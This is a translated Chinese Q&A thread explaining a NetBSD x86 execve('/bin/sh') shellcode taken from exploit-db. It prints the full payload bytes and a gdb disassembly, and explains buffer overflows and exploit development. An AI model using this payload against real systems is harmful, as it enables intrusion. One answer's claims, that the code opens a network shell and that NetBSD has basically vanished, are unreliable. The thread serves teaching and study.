这段代码使用什么编程语言?

信息安全 开发 缓冲区溢出
2021-08-25 09:21:06

看这篇文章:

http://www.exploit-db.com/exploits/13474/

我可以看到这个:

/*
 *  NetBSD
 *  execve() of /bin/sh by humble of Rhino9
 */

char shellcode[] =
  "\xeb\x23"
  "\x5e"
  "\x8d\x1e"
  "\x89\x5e\x0b"
  "\x31\xd2"
  "\x89\x56\x07"
  "\x89\x56\x0f"
  "\x89\x56\x14"
  "\x88\x56\x19"
  "\x31\xc0"
  "\xb0\x3b"
  "\x8d\x4e\x0b"
  "\x89\xca"
  "\x52"
  "\x51"
  "\x53"
  "\x50"
  "\xeb\x18"
  "\xe8\xd8\xff\xff\xff"
  "/bin/sh"
  "\x01\x01\x01\x01"
  "\x02\x02\x02\x02"
  "\x03\x03\x03\x03"
  "\x9a\x04\x04\x04\x04\x07\x04";

# milw0rm.com [2004-09-26]

什么是:

char shellcode[] =
  "\xeb\x23"
  "\x5e"
  "\x8d\x1e"
  "\x89\x5e\x0b"
  "\x31\xd2"
  "\x89\x56\x07"

我怎么能使用它们?有哪些编程语言?部件?珀尔?我怎样才能运行它们?

4个回答

该数组的内容是低级机器代码,如果在正确的架构上执行,它将执行 shell /bin/sh。攻击者可能能够将其作为数据提供给程序,该程序将由于错误而将其作为代码执行。

它通常用于利用缓冲区溢出

软件编程的核心原则之一是子程序的概念。因此,程序员可以调用具有自己的变量集并执行一些工作的函数。完成后,程序在调用后继续执行。

然而,这个概念在硬件层并不存在。处理器只执行下一个命令,除非它是跳转到其他地方。

因此,为了能够从调用中返回,在调用时必须做一些准备工作:返回地址与函数的参数一起保存在堆栈中。该函数创建的所有局部变量也存储在堆栈中。在函数结束时,从堆栈中删除局部变量,并将保存的返回地址作为跳转的目标。

从理论上讲,这很好用。实际上,程序中的错误可能允许攻击者将一些数据存储到比该变量的容量更长的局部变量中。由于局部变量存储在内存中的返回地址之前,攻击者可能会覆盖返回地址,指向自己的数据。假设它是有效的机器代码,处理器将愉快地执行它。

如果您对背景感兴趣,请查看Smashing The Stack For Fun And Profit它很旧,今天有一些计数器测量,但它给出了一个很好的介绍。

您正在查看的内容称为 shellcode。它被解释为所示的十六进制值,并且特定于给定的处理器架构,并且仅适用于已知的内存地址,因此也特定于某个操作系统或程序。这低于汇编语言——您正在查看实际的机器代码本身。

例如,0xEB 是 x86 跳转指令,紧随其后的一些字节是目标地址。逆向工程恶意软件/病毒可能是学习如何解释该代码的良好起点。

如果你有兴趣并且知道一点汇编,这就是 shellcode 的样子:

(gdb) x/s shellcode+61
0x804a07d <shellcode+61>:    "\232\004\004\004\004\a\004"
(gdb) x/31i shellcode
   0x804a040 <shellcode>:   jmp    0x804a065 <shellcode+37>
   0x804a042 <shellcode+2>: pop    esi
   0x804a043 <shellcode+3>: lea    ebx,[esi]
   0x804a045 <shellcode+5>: mov    DWORD PTR [esi+0xb],ebx
   0x804a048 <shellcode+8>: xor    edx,edx
   0x804a04a <shellcode+10>:    mov    DWORD PTR [esi+0x7],edx
   0x804a04d <shellcode+13>:    mov    DWORD PTR [esi+0xf],edx
   0x804a050 <shellcode+16>:    mov    DWORD PTR [esi+0x14],edx
   0x804a053 <shellcode+19>:    mov    BYTE PTR [esi+0x19],dl
   0x804a056 <shellcode+22>:    xor    eax,eax
   0x804a058 <shellcode+24>:    mov    al,0x3b
   0x804a05a <shellcode+26>:    lea    ecx,[esi+0xb]
   0x804a05d <shellcode+29>:    mov    edx,ecx
   0x804a05f <shellcode+31>:    push   edx
   0x804a060 <shellcode+32>:    push   ecx
   0x804a061 <shellcode+33>:    push   ebx
   0x804a062 <shellcode+34>:    push   eax
   0x804a063 <shellcode+35>:    jmp    0x804a07d <shellcode+61>
   0x804a065 <shellcode+37>:    call   0x804a042 <shellcode+2>
   0x804a06a <shellcode+42>:    das    
   0x804a06b <shellcode+43>:    bound  ebp,QWORD PTR [ecx+0x6e]
   0x804a06e <shellcode+46>:    das    
   0x804a06f <shellcode+47>:    jae    0x804a0d9
   0x804a071 <shellcode+49>:    add    DWORD PTR [ecx],eax
   0x804a073 <shellcode+51>:    add    DWORD PTR [ecx],eax
   0x804a075 <shellcode+53>:    add    al,BYTE PTR [edx]
   0x804a077 <shellcode+55>:    add    al,BYTE PTR [edx]
   0x804a079 <shellcode+57>:    add    eax,DWORD PTR [ebx]
   0x804a07b <shellcode+59>:    add    eax,DWORD PTR [ebx]
   0x804a07d <shellcode+61>:    call   0x407:0x4040404
   0x804a084 <shellcode+68>:    add    BYTE PTR [eax],al
(gdb) x/s shellcode+42
0x804a06a <shellcode+42>:    "/bin/sh\001\001\001\001\002\002\002\002\003\003\003\003\232\004\004\004\004\a\004"

字符串 "/bin/sh" 在 shellcode+42 上,是要在系统上执行并为您带来一个 shell 的字符串(这里是 shell-code 的含义)。顺便说一句,从 shellcode+42 到 7 个字节以上的指令反汇编似乎是“奇怪的代码”,这是因为反汇编程序管理字符串就像它是代码而不是数据一样。

这是漏洞利用开发的一部分。

黑客首先发现了一个问题。例如,他可能会注意到,在登录电子邮件时,如果他输入 1000 字节长的用户名,服务器就会崩溃。

所以黑客所做的就是弄清楚如何操纵溢出的字节,使程序执行“跳转”到缓冲区的某个地方。

然后,黑客编写代码打开命令提示符(又名“shell”),并通过网络与该命令提示符进行交互。这称为“shellcode”。这是您在上面看到的shellcode。

黑客将这一切组合成一个“漏洞利用”程序,只需指定受害者的 IP 地址,即可入侵系统。

黑客然后扫描网络寻找易受攻击的系统。当他找到一个时,他会针对它运行他的漏洞利用程序,并以 shell 提示符闯入。这在 2nd Matrix 电影中得到了真实的展示。

一旦黑客有了命令提示符,他就可以向系统发送任意命令。他可能会创建自己的用户帐户。他可能会下载密码文件。他可能会从数据库中转储信用卡号。

你在上面看到的那个 shellcode 是用 C 语言指定的,因为大多数漏洞都是用 C 语言编写的。但它很容易被翻译成在 C 语言中具有类似语法的其他流行语言。

shellcode 专为在 x86 上运行的 NetBSD 而设计。NetBSD 是一个与 Mac OS X 密切相关但与 Linux 关系较远的操作系统系统。它曾经在小型计算机中很流行,但如今已基本消失。所以这是非常没用的。